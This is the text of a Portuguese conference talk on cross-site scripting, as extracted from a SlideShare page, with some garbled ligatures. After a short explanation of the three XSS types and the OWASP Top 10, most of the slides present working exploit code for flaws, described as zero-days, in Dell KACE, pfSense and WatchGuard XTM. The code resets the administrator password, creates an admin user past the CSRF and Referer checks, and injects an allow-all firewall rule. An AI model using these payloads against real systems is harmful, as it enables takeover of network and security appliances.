SlideShare una empresa de Scribd logo
1 de 25
Descargar para leer sin conexión
Quem  tem  medo  de  XSS?
William	
  Costa	
  
Composição  do  XSS.  
Os  XSS’s  normalmente  são  divididos  em  3  categorias  
	
  
Reflected	
  XSS	
  	
  

	
  
	
   	
   	
   	
   	
  Stored	
  XSS	
  	
  
	
  
	
  
	
   	
   	
   	
   	
   	
   	
   	
   	
  DOM	
  Based	
  XSS	
  	
  
	
  
Reflected  XSS
Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina  
de  pesquisa  ou  em  uma  variável.
Ex:  hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected  XSS")</script>	
  
Stored  XSS
Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada  
vez  que  a  pagina  for  acessada.
Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros  





Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o  
Forum  recebem  a  tela  
DOM  XSS
O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  uJlizada  por  
um  script    
Ex:  Campos  de  interação  em  tempo  real.



	
   	
   	
   	
   	
   	
  <img	
  src=search	
  onerror=alert('DOM_XSS')>	
  




	
  
O  XSS  aparece  no  top  10  do  OWASP  desde  
seu  primeiro  relatório.
	
  
	
  
OWASP	
  Top	
  10	
  –	
  2003	
  	
  
Top	
  	
  	
  	
  	
  	
  VulnerabiliIes	
  in	
  Web	
  ApplicaIons 	
  	
  
A1 	
  Unvalidated	
  Parameters	
  
A2 	
  Broken	
  Access	
  Control	
  
A3 	
  Broken	
  Account	
  and	
  Session	
  Management	
  
A4 	
  Cross-­‐Site	
  Scrip8ng	
  (XSS)	
  Flaws	
  
A5 	
  Buffer	
  Overflows	
  
A6 	
  Command	
  InjecIon	
  Flaws	
  
A7 	
  Error	
  Handling	
  Problems	
  
A8 	
  Insecure	
  Use	
  of	
  Cryptography	
  
A9 	
  Remote	
  AdministraIon	
  Flaws	
  
A10	
   	
  Web	
  and	
  ApplicaIon	
  Server	
  MisconfiguraIon	
  
E  após  10  Anos  ele  conJnua  entre  os  10
•  OWASP	
  Top	
  10	
  –	
  2013	
  (New)	
   	
  	
  
•  A1	
  –	
  InjecIon	
   	
  	
  
•  A2	
  –	
  Broken	
  AuthenIcaIon	
  and	
  Session	
  Management	
   	
  	
  
•  A3	
  –	
  Cross-­‐Site	
  Scrip8ng	
  (XSS)	
   	
  	
  
•  A4	
  –	
  Insecure	
  Direct	
  Object	
  References	
   	
  	
  
•  A5	
  –	
  Security	
  MisconfiguraIon	
   	
  	
  
•  A6	
  –	
  SensiIve	
  Data	
  Exposure	
   	
  	
  
•  A7	
  –	
  Missing	
  FuncIon	
  Level	
  Access	
  Control	
   	
  	
  
•  A8	
  –	
  Cross-­‐Site	
  Request	
  Forgery	
  (CSRF)	
   	
  	
  
•  A9	
  –	
  Using	
  Known	
  Vulnerable	
  Components	
   	
  	
  
•  A10	
  –	
  Unvalidated	
  Redirects	
  and	
  Forwards	
   	
  	
  
	
  	
  
Como  são  apresentadas  as  Falhas  de  XSS
	
  
	
  
	
  
Como  normalmente  é  apresentando  o  Impacto  do  XSS
	
  
	
  
	
  
Como  elas  deferiam  ser  apresentadas
Como  realmente  são  os  Impactos  dos  XSS
                                                           Falha  #1  Dell  KACE  V.6.3.113397    
Falha  na  pagina  de  criação  de  um  Ticket.  
Proteções:    
Flag  HFpOnly  
Token  CSRF  
URL  Vulnerável:  /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</
script>
Pagina  onde  ocorre  a  vulnerabilidade
Alguma  Ideia  de  como  podemos  ir  além  do  alert?
Função  Alvo
Exploit  para  alteração  da  senha  do  ADMIN.  
•  Um	
  simples	
  Iframe	
  já	
  nos	
  possibilita	
  a	
  alteração	
  de	
  senha	
  do	
  usuário	
  
administrador.	
  	
  
	
  document.write('<iframe	
  width=0	
  height=0	
  name="xss"	
  src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10">
iframe>');	
  
	
  
funcIon	
  append(senha)	
  
{	
  
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";	
  
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";	
  
window.frames['xss'].document.UserForm.submit();	
  
}	
  
setTimeout("append("Imeout")",2500);	
  
	
  
                                                           Falha  #2  PFSENSE  V.  2.2.2  
Falha  na  pagina  de  remoção  de    CapJves  portais.  
Proteções:    
Token  CSRF  
Checagem  do  Header  HTTP_REFERER
Pagina  onde  ocorre  a  vulnerabilidade
Alguma  Ideia  ?
Função  Alvo
Exploit  para  criação  de  Usuário  de  Administração.  
•  O	
  Exploit	
  cria	
  um	
  formulário	
  dentro	
  da	
  pagina	
  vulnerável	
  obtém	
  o	
  
TOKEN	
  CSRF	
  da	
  mesma	
  e	
  envia	
  o	
  form	
  para	
  a	
  pagina	
  de	
  criação	
  de	
  
usuários	
  “bypassando”	
  a	
  proteção	
  do	
  HTTP_REFERER	
  	
  
document.write('<iframe	
  width=1000	
  height=1000	
  name="xss">	
  </iframe>');	
  
xss.document.write('<body><form	
  id="CSRF"	
  acIon="hlp://192.168.217.100/system_usermanager.php"	
  method="post"	
  
name="CSRF">');	
  
xss.document.write('<input	
  name="__csrf_magic"	
  value=""</input>');	
  
xss.document.write('<input	
  name="utype"	
  value="user">	
  </input>');	
  
xss.document.write('<input	
  name="usernamefld"	
  value="teste">	
  </input>');	
  
xss.document.write('<input	
  name="passwordfld1"	
  value="123456">	
  </input>');	
  
xss.document.write('<input	
  name="passwordfld2"	
  value="123456">	
  </input>');	
  
xss.document.write('<input	
  name="groups[]"	
  value="admins">	
  </input>');	
  
xss.document.write('<input	
  name="save"	
  value="Save">	
  </input>');	
  
xss.document.write('</form>');	
  
xss.document.write('</body>');	
  
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;	
  
window.frames['xss'].document.CSRF.submit();	
  
	
  
Falha  #3  Firewall  WatchGuard  XTM  V.  11.10.B473826  
  
Falha  na  pagina  de  Gerenciamento  de  Access  Point.  
Proteções:    
Token  CSRF  
Flag  HFpOnly
Pagina  onde  ocorre  a  vulnerabilidade  
URL  Vulneravel:  /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script>
Ideias  ??
Função  Alvo
Exploit.  
•  Vamos	
  usar	
  uma	
  função	
  JSON	
  que	
  envie	
  via	
  post	
  todas	
  
informações	
  necessárias	
  para	
  criação	
  de	
  uma	
  poliIca	
  que	
  permita	
  
tudo	
  de	
  fora	
  para	
  dentro	
  da	
  rede.	
  	
  
	
  
	
  $.ajax({	
  
	
  	
  	
  	
  	
  	
  	
  	
  type:	
  "POST",	
  
	
  	
  	
  	
  	
  	
  	
  	
  url:	
  "hlps://10.0.1.1:8080/put_data/",	
  
	
  	
  	
  	
  	
  	
  	
  	
  data:	
  '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":
{"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-­‐
Rule","enabled":true,"descripIon":"Policy	
  added	
  on	
  2015-­‐05-­‐005T18:02:38-­‐03:00.","property":
0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":
{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐External","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"to_list":
[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐
Trusted","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always	
  
On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled":
0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng":
1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":
0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method":
0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled":
0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp":
0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list":
[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":
1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash":
{},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs":
[{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces":
[{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in€_list":[],"helper_tunnel_list":[],"helper_alias_list":
[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":
[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list":
[],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list":
[],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  contentType:	
  "applicaIon/json;	
  charset=UTF-­‐8",	
  
	
  accept:	
  "*/*",	
  
	
  	
  	
  	
  	
  	
  	
  	
  dataType:	
  "json",	
  
As  3  vulnerabilidades  
apresentadas  aqui  são  0days,  
Baixem  e  façam  seus  
próprios  testes  J    
<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>
william.costa  arroba  gmail.com

Más contenido relacionado

La actualidad más candente

Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Rafael Jaques
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityMarlon Bernardes
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoLuciano Monteiro da Silva
 
Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Pablo Ribeiro
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazOWASP Brasília
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosAlex Camargo
 

La actualidad más candente (19)

Web Hacking
Web HackingWeb Hacking
Web Hacking
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
PHP Seguro em 2013
PHP Seguro em 2013PHP Seguro em 2013
PHP Seguro em 2013
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
 
OWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objetoOWASP top 10 - Referência insegura direta a objeto
OWASP top 10 - Referência insegura direta a objeto
 
Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )Teste de segurança em aplicações web ( sites )
Teste de segurança em aplicações web ( sites )
 
Apresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio BrazApresentação Ismael Rocha e Fabricio Braz
Apresentação Ismael Rocha e Fabricio Braz
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
 

Destacado

Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilWilliam Costa
 
Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploitDenis Vieira
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurançaDanilo Vaz
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.htmlRafael Tavares
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2William Costa
 

Destacado (7)

Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasil
 
Exploits
ExploitsExploits
Exploits
 
Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploit
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurança
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.html
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
Vivendo de hacking
Vivendo de hackingVivendo de hacking
Vivendo de hacking
 

Similar a XSS ainda entre os 10 principais riscos de segurança da Web

Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Luciano Gerhardt
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxEdlaine Zamora
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraClavis Segurança da Informação
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php segurosDouglas V. Pasqua
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
Top 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webTop 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webLuis Asensio
 
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuTop 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuLuis Asensio
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebMarcio Roberto de Souza Godoi
 
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29cadiego
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Alex Hübner
 

Similar a XSS ainda entre os 10 principais riscos de segurança da Web (20)

Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali LinuxComo analisar a vulnerabilidade de uma aplicação web com o Kali Linux
Como analisar a vulnerabilidade de uma aplicação web com o Kali Linux
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Top 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_webTop 5 vulnerabilidades_em_aplicacoes_web
Top 5 vulnerabilidades_em_aplicacoes_web
 
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seuTop 5 vulnerabilidades_em_aplicacoes_web_e_seu
Top 5 vulnerabilidades_em_aplicacoes_web_e_seu
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Teste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações WebTeste de Segurança: Vulnerabilidade de Aplicações Web
Teste de Segurança: Vulnerabilidade de Aplicações Web
 
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
Palestra - Desenvolvimento Seguro de Aplicações WEB - IFC 2013-09-29
 
Segurança e Controle de errros
Segurança e Controle de errrosSegurança e Controle de errros
Segurança e Controle de errros
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Sql injection
Sql injectionSql injection
Sql injection
 

XSS ainda entre os 10 principais riscos de segurança da Web

  • 1. Quem  tem  medo  de  XSS? William  Costa  
  • 2. Composição  do  XSS.   Os  XSS’s  normalmente  são  divididos  em  3  categorias     Reflected  XSS                Stored  XSS                          DOM  Based  XSS      
  • 3. Reflected  XSS Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina   de  pesquisa  ou  em  uma  variável. Ex:  hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected  XSS")</script>  
  • 4. Stored  XSS Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada   vez  que  a  pagina  for  acessada. Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros   Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o   Forum  recebem  a  tela  
  • 5. DOM  XSS O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  uJlizada  por   um  script     Ex:  Campos  de  interação  em  tempo  real.            <img  src=search  onerror=alert('DOM_XSS')>    
  • 6. O  XSS  aparece  no  top  10  do  OWASP  desde   seu  primeiro  relatório.     OWASP  Top  10  –  2003     Top            VulnerabiliIes  in  Web  ApplicaIons     A1  Unvalidated  Parameters   A2  Broken  Access  Control   A3  Broken  Account  and  Session  Management   A4  Cross-­‐Site  Scrip8ng  (XSS)  Flaws   A5  Buffer  Overflows   A6  Command  InjecIon  Flaws   A7  Error  Handling  Problems   A8  Insecure  Use  of  Cryptography   A9  Remote  AdministraIon  Flaws   A10    Web  and  ApplicaIon  Server  MisconfiguraIon  
  • 7. E  após  10  Anos  ele  conJnua  entre  os  10 •  OWASP  Top  10  –  2013  (New)       •  A1  –  InjecIon       •  A2  –  Broken  AuthenIcaIon  and  Session  Management       •  A3  –  Cross-­‐Site  Scrip8ng  (XSS)       •  A4  –  Insecure  Direct  Object  References       •  A5  –  Security  MisconfiguraIon       •  A6  –  SensiIve  Data  Exposure       •  A7  –  Missing  FuncIon  Level  Access  Control       •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)       •  A9  –  Using  Known  Vulnerable  Components       •  A10  –  Unvalidated  Redirects  and  Forwards          
  • 8. Como  são  apresentadas  as  Falhas  de  XSS      
  • 9. Como  normalmente  é  apresentando  o  Impacto  do  XSS      
  • 10. Como  elas  deferiam  ser  apresentadas
  • 11. Como  realmente  são  os  Impactos  dos  XSS
  • 12.                                                            Falha  #1  Dell  KACE  V.6.3.113397     Falha  na  pagina  de  criação  de  um  Ticket.   Proteções:     Flag  HFpOnly   Token  CSRF   URL  Vulnerável:  /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</ script>
  • 13. Pagina  onde  ocorre  a  vulnerabilidade Alguma  Ideia  de  como  podemos  ir  além  do  alert?
  • 15. Exploit  para  alteração  da  senha  do  ADMIN.   •  Um  simples  Iframe  já  nos  possibilita  a  alteração  de  senha  do  usuário   administrador.      document.write('<iframe  width=0  height=0  name="xss"  src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> iframe>');     funcIon  append(senha)   {   window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";   window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";   window.frames['xss'].document.UserForm.submit();   }   setTimeout("append("Imeout")",2500);    
  • 16.                                                            Falha  #2  PFSENSE  V.  2.2.2   Falha  na  pagina  de  remoção  de    CapJves  portais.   Proteções:     Token  CSRF   Checagem  do  Header  HTTP_REFERER
  • 17. Pagina  onde  ocorre  a  vulnerabilidade Alguma  Ideia  ?
  • 19. Exploit  para  criação  de  Usuário  de  Administração.   •  O  Exploit  cria  um  formulário  dentro  da  pagina  vulnerável  obtém  o   TOKEN  CSRF  da  mesma  e  envia  o  form  para  a  pagina  de  criação  de   usuários  “bypassando”  a  proteção  do  HTTP_REFERER     document.write('<iframe  width=1000  height=1000  name="xss">  </iframe>');   xss.document.write('<body><form  id="CSRF"  acIon="hlp://192.168.217.100/system_usermanager.php"  method="post"   name="CSRF">');   xss.document.write('<input  name="__csrf_magic"  value=""</input>');   xss.document.write('<input  name="utype"  value="user">  </input>');   xss.document.write('<input  name="usernamefld"  value="teste">  </input>');   xss.document.write('<input  name="passwordfld1"  value="123456">  </input>');   xss.document.write('<input  name="passwordfld2"  value="123456">  </input>');   xss.document.write('<input  name="groups[]"  value="admins">  </input>');   xss.document.write('<input  name="save"  value="Save">  </input>');   xss.document.write('</form>');   xss.document.write('</body>');   window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;   window.frames['xss'].document.CSRF.submit();    
  • 20. Falha  #3  Firewall  WatchGuard  XTM  V.  11.10.B473826     Falha  na  pagina  de  Gerenciamento  de  Access  Point.   Proteções:     Token  CSRF   Flag  HFpOnly
  • 21. Pagina  onde  ocorre  a  vulnerabilidade   URL  Vulneravel:  /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script> Ideias  ??
